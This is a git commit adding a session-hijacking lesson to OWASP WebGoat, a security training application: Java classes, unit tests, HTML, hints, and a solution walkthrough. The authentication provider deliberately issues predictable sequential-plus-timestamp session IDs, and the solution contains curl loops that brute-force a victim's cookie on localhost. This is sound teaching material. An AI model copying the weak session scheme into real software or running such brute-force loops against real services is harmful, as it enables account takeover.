Hijack Session Lesson
This commit is contained in:
parent
ec954046db
commit
dd2e9f074d
@ -0,0 +1,47 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
class SessionManagementTest extends IntegrationTest {
|
||||
|
||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/HijackSession/login";
|
||||
|
||||
|
||||
@Test
|
||||
void hijackSessionTest() {
|
||||
startLesson("HijackSession");
|
||||
|
||||
checkAssignment(HIJACK_LOGIN_CONTEXT_PATH, Map.of("username", "webgoat", "password", "webgoat"), false);
|
||||
}
|
||||
}
|
58
webgoat-lessons/hijack-session/pom.xml
Normal file
58
webgoat-lessons/hijack-session/pom.xml
Normal file
@ -0,0 +1,58 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>hijack-session</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>8.2.3-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
<properties>
|
||||
<jacoco.version>0.8.7</jacoco.version>
|
||||
</properties>
|
||||
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- mvn clean verify -Pcoverage -->
|
||||
<id>coverage</id>
|
||||
<activation>
|
||||
<activeByDefault>false</activeByDefault>
|
||||
</activation>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.jacoco</groupId>
|
||||
<artifactId>jacoco-maven-plugin</artifactId>
|
||||
<version>${jacoco.version}</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>default-prepare-agent</id>
|
||||
<goals>
|
||||
<goal>prepare-agent</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
<execution>
|
||||
<id>default-report</id>
|
||||
<phase>verify</phase>
|
||||
<goals>
|
||||
<goal>report</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<dataFile>${project.build.directory}/jacoco.exec</dataFile>
|
||||
<outputDirectory>${project.reporting.outputDirectory}/jacoco</outputDirectory>
|
||||
<excludes>
|
||||
<exclude>**/HijackSession.*</exclude>
|
||||
</excludes>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
|
||||
</project>
|
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession;
|
||||
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@Component
|
||||
public class HijackSession extends Lesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.SESSION_MANAGEMENT;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "hijacksession.title";
|
||||
}
|
||||
}
|
@ -0,0 +1,92 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.hijacksession.cas.Authentication;
|
||||
import org.owasp.webgoat.hijacksession.cas.HijackSessionAuthenticationProvider;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.CookieValue;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@RestController
|
||||
@AssignmentHints({
|
||||
"hijacksession.hints.1",
|
||||
"hijacksession.hints.2",
|
||||
"hijacksession.hints.3",
|
||||
"hijacksession.hints.4",
|
||||
"hijacksession.hints.5"
|
||||
})
|
||||
public class HijackSessionAssignment extends AssignmentEndpoint {
|
||||
|
||||
private static final String COOKIE_NAME = "hijack_cookie";
|
||||
|
||||
@Autowired
|
||||
HijackSessionAuthenticationProvider provider;
|
||||
|
||||
@PostMapping(path = "/HijackSession/login")
|
||||
@ResponseBody
|
||||
public AttackResult login(
|
||||
@RequestParam String username,
|
||||
@RequestParam String password,
|
||||
@CookieValue(value = COOKIE_NAME, required = false) String cookieValue,
|
||||
HttpServletResponse response) {
|
||||
|
||||
Authentication authentication;
|
||||
if (StringUtils.isEmpty(cookieValue)) {
|
||||
authentication = provider.authenticate(Authentication.builder().name(username).credentials(password).build());
|
||||
setCookie(response, authentication.getId());
|
||||
} else {
|
||||
authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());
|
||||
}
|
||||
|
||||
if (authentication.isAuthenticated()) {
|
||||
return success(this).build();
|
||||
}
|
||||
|
||||
return failed(this).build();
|
||||
}
|
||||
|
||||
private void setCookie(HttpServletResponse response, String cookieValue) {
|
||||
Cookie cookie = new Cookie(COOKIE_NAME, cookieValue);
|
||||
cookie.setPath("/WebGoat");
|
||||
cookie.setSecure(true);
|
||||
response.addCookie(cookie);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,67 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession.cas;
|
||||
|
||||
import java.security.Principal;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import lombok.ToString;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@Getter
|
||||
@ToString
|
||||
public class Authentication implements Principal {
|
||||
|
||||
private boolean authenticated = false;
|
||||
private String name;
|
||||
private Object credentials;
|
||||
private String id;
|
||||
|
||||
@Builder
|
||||
public Authentication(String name, Object credentials, String id) {
|
||||
this.name = name;
|
||||
this.credentials = credentials;
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
protected void setAuthenticated(boolean authenticated) {
|
||||
this.authenticated = authenticated;
|
||||
}
|
||||
|
||||
protected void setId(String id) {
|
||||
this.id = id;
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,39 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession.cas;
|
||||
|
||||
import java.security.Principal;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@FunctionalInterface
|
||||
public interface AuthenticationProvider<T extends Principal> {
|
||||
|
||||
T authenticate(T t);
|
||||
|
||||
}
|
@ -0,0 +1,100 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession.cas;
|
||||
|
||||
import java.time.Instant;
|
||||
import java.util.LinkedList;
|
||||
import java.util.Queue;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.ThreadLocalRandom;
|
||||
import java.util.function.DoublePredicate;
|
||||
import java.util.function.Supplier;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.springframework.stereotype.Component;
|
||||
import org.springframework.web.context.annotation.ApplicationScope;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
// weak id value and mechanism
|
||||
|
||||
@ApplicationScope
|
||||
@Component
|
||||
public class HijackSessionAuthenticationProvider implements AuthenticationProvider<Authentication> {
|
||||
|
||||
private Queue<String> sessions = new LinkedList<>();
|
||||
private static long id = new Random().nextLong() & Long.MAX_VALUE;
|
||||
protected static final int MAX_SESSIONS = 50;
|
||||
|
||||
private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75;
|
||||
private static final Supplier<String> GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli();
|
||||
public static final Supplier<Authentication> AUTHENTICATION_SUPPLIER = () -> Authentication
|
||||
.builder()
|
||||
.id(GENERATE_SESSION_ID.get())
|
||||
.build();
|
||||
|
||||
@Override
|
||||
public Authentication authenticate(Authentication authentication) {
|
||||
if (authentication == null) {
|
||||
return AUTHENTICATION_SUPPLIER.get();
|
||||
}
|
||||
|
||||
if (StringUtils.isNotEmpty(authentication.getId()) && sessions.contains(authentication.getId())) {
|
||||
authentication.setAuthenticated(true);
|
||||
return authentication;
|
||||
}
|
||||
|
||||
if (StringUtils.isEmpty(authentication.getId())) {
|
||||
authentication.setId(GENERATE_SESSION_ID.get());
|
||||
}
|
||||
|
||||
authorizedUserAutoLogin();
|
||||
|
||||
return authentication;
|
||||
}
|
||||
|
||||
protected void authorizedUserAutoLogin() {
|
||||
if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) {
|
||||
Authentication authentication = AUTHENTICATION_SUPPLIER.get();
|
||||
authentication.setAuthenticated(true);
|
||||
addSession(authentication.getId());
|
||||
}
|
||||
}
|
||||
|
||||
protected boolean addSession(String sessionId) {
|
||||
if (sessions.size() >= MAX_SESSIONS) {
|
||||
sessions.remove();
|
||||
}
|
||||
return sessions.add(sessionId);
|
||||
}
|
||||
|
||||
protected int getSessionsSize() {
|
||||
return sessions.size();
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,30 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<link rel="stylesheet" type="text/css"
|
||||
href="http://code.jquery.com/ui/1.9.1/themes/base/jquery-ui.css" />
|
||||
|
||||
<!-- 1 -->
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:HijackSession_plan.adoc"></div>
|
||||
</div>
|
||||
|
||||
<!-- 2 -->
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:HijackSession_content0.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success">
|
||||
<i class="fa fa-2 fa-check hidden" aria-hidden="true"></i>
|
||||
</div>
|
||||
|
||||
<div class="container-fluid">
|
||||
<div th:include="hijackform" id="content"></div>
|
||||
</div>
|
||||
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</html>
|
@ -0,0 +1,7 @@
|
||||
hijacksession.title=Hijack a session
|
||||
|
||||
hijacksession.hints.1=Check the 'hijack_cookie' cookie value and think about its format.
|
||||
hijacksession.hints.2=The 'hijack_cookie' is divided in two parts and has the following format '"long number"-"another long number"'.
|
||||
hijacksession.hints.3=The 'hijack_cookie' is divided in two parts and has the following format '"sequential number"-"unix epoch time"'.
|
||||
hijacksession.hints.4=Try to send multiple requests to force the creation of new cookies and check if there's any pattern.
|
||||
hijacksession.hints.5=Sometimes, authorized users logs into the application.
|
@ -0,0 +1,4 @@
|
||||
= Hijack a Session
|
||||
|
||||
In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat.
|
||||
|
@ -0,0 +1,10 @@
|
||||
= Hijack a Session
|
||||
|
||||
== Concept
|
||||
|
||||
Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks.
|
||||
|
||||
|
||||
== Goals
|
||||
|
||||
Gain access to an authenticated session belonging to someone else.
|
@ -0,0 +1,93 @@
|
||||
= Hijack a Session
|
||||
|
||||
== Solution
|
||||
|
||||
Some standard Linux tools have been used on this solution.
|
||||
|
||||
=== Analysis
|
||||
|
||||
Inspect the 'hijack_cookie' cookie value:
|
||||
|
||||
[source, text]
|
||||
----
|
||||
3814082160704930327-1636910266991
|
||||
----
|
||||
|
||||
The 'hijack_cookie' is divided in two parts and has the following format:
|
||||
|
||||
**<sequential number>-<unix epoch time>**
|
||||
|
||||
The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted.
|
||||
|
||||
Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him.
|
||||
|
||||
It's simple to spot where this value is if we know the cookie values between this valid user cookie.
|
||||
|
||||
=== Brute forcing
|
||||
|
||||
Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint.
|
||||
|
||||
[source, sh]
|
||||
----
|
||||
# command
|
||||
for i in $(seq 1 10); do
|
||||
curl 'http://localhost:8080/WebGoat/HijackSession/login' \
|
||||
-H 'Connection: keep-alive' \
|
||||
-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \
|
||||
-H 'Accept: */*' \
|
||||
-H 'X-Requested-With: XMLHttpRequest' \
|
||||
-H 'sec-ch-ua-mobile: ?0' \
|
||||
-H 'User-Agent: any' \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
|
||||
-H 'Origin: http://localhost:8080' \
|
||||
-H 'Sec-Fetch-Site: same-origin' \
|
||||
-H 'Sec-Fetch-Mode: cors' \
|
||||
-H 'Sec-Fetch-Dest: empty' \
|
||||
-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \
|
||||
-H 'Accept-Language: en-US,en;q=0.9' \
|
||||
-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW" \
|
||||
--data-raw 'username=&password=' \
|
||||
--compressed \
|
||||
--output /dev/null \
|
||||
-v
|
||||
done
|
||||
|
||||
# cookies
|
||||
<...>
|
||||
< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure
|
||||
< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure
|
||||
< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure
|
||||
< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure
|
||||
<...>
|
||||
----
|
||||
|
||||
Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat.
|
||||
|
||||
The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part.
|
||||
|
||||
So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us.
|
||||
|
||||
[source, sh]
|
||||
----
|
||||
for i in $(seq 1636913556998 1636913557143); do
|
||||
curl 'http://localhost:8080/WebGoat/HijackSession/login' \
|
||||
-H 'Connection: keep-alive' \
|
||||
-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \
|
||||
-H 'Accept: */*' \
|
||||
-H 'X-Requested-With: XMLHttpRequest' \
|
||||
-H 'sec-ch-ua-mobile: ?0' \
|
||||
-H 'User-Agent: any' \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
|
||||
-H 'Origin: http://localhost:8080' \
|
||||
-H 'Sec-Fetch-Site: same-origin' \
|
||||
-H 'Sec-Fetch-Mode: cors' \
|
||||
-H 'Sec-Fetch-Dest: empty' \
|
||||
-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \
|
||||
-H 'Accept-Language: en-US,en;q=0.9' \
|
||||
-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i"" \
|
||||
--data-raw 'username=&password=' \
|
||||
--compressed
|
||||
done
|
||||
----
|
||||
|
||||
One of those requests will be a valid login and the lesson will be marked as completed.
|
@ -0,0 +1,14 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this block for each 'page' of content -->
|
||||
<!-- include content here ... will be first page/tab multiple -->
|
||||
<div class="adoc-content" th:replace="doc:HijackSession_solution.adoc"></div>
|
||||
</div>
|
||||
|
||||
|
||||
</html>
|
@ -0,0 +1,24 @@
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<form class="attack-form" accept-charset="UNKNOWN" method="POST"
|
||||
action="/WebGoat/HijackSession/login">
|
||||
<div style="padding: 20px;" id="password-login">
|
||||
<h4 style="border-bottom: 1px solid #c5c5c5;">Account Access</h4>
|
||||
<fieldset>
|
||||
<div class="form-group input-group">
|
||||
<span class="input-group-addon"> <i
|
||||
class="glyphicon glyphicon-user"></i>
|
||||
</span> <input class="form-control" placeholder="User name"
|
||||
name="username" type="text"></input>
|
||||
</div>
|
||||
<div class="form-group input-group">
|
||||
<span class="input-group-addon"><i
|
||||
class="glyphicon glyphicon-lock"></i></span> <input class="form-control"
|
||||
placeholder="Password" name="password" type="password" />
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary btn-block">Access</button>
|
||||
</fieldset>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
@ -0,0 +1,108 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession;
|
||||
|
||||
import static org.hamcrest.Matchers.emptyString;
|
||||
import static org.hamcrest.Matchers.not;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.lenient;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.hijacksession.cas.Authentication;
|
||||
import org.owasp.webgoat.hijacksession.cas.HijackSessionAuthenticationProvider;
|
||||
import org.springframework.test.util.ReflectionTestUtils;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.ResultActions;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class HijackSessionAssignmentTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
private static final String COOKIE_NAME = "hijack_cookie";
|
||||
private static final String LOGIN_CONTEXT_PATH = "/HijackSession/login";
|
||||
|
||||
@Mock
|
||||
Authentication authenticationMock;
|
||||
|
||||
@Mock
|
||||
HijackSessionAuthenticationProvider providerMock;
|
||||
|
||||
HijackSessionAssignment assignment;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
assignment = new HijackSessionAssignment();
|
||||
init(assignment);
|
||||
ReflectionTestUtils.setField(assignment, "provider", new HijackSessionAuthenticationProvider());
|
||||
mockMvc = standaloneSetup(assignment).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testValidCookie() throws Exception {
|
||||
lenient().when(authenticationMock.isAuthenticated()).thenReturn(true);
|
||||
lenient().when(providerMock.authenticate(any(Authentication.class))).thenReturn(authenticationMock);
|
||||
ReflectionTestUtils.setField(assignment, "provider", providerMock);
|
||||
|
||||
Cookie cookie = new Cookie(COOKIE_NAME, "value");
|
||||
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.cookie(cookie)
|
||||
.param("username", "")
|
||||
.param("password", ""));
|
||||
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
void testBlankCookie() throws Exception {
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "webgoat")
|
||||
.param("password", "webgoat"));
|
||||
|
||||
result.andExpect(cookie().value(COOKIE_NAME, not(emptyString())));
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,116 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.hijacksession.cas;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.hamcrest.CoreMatchers.not;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.owasp.webgoat.hijacksession.cas.Authentication.AuthenticationBuilder;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
class HijackSessionAuthenticationProviderTest {
|
||||
|
||||
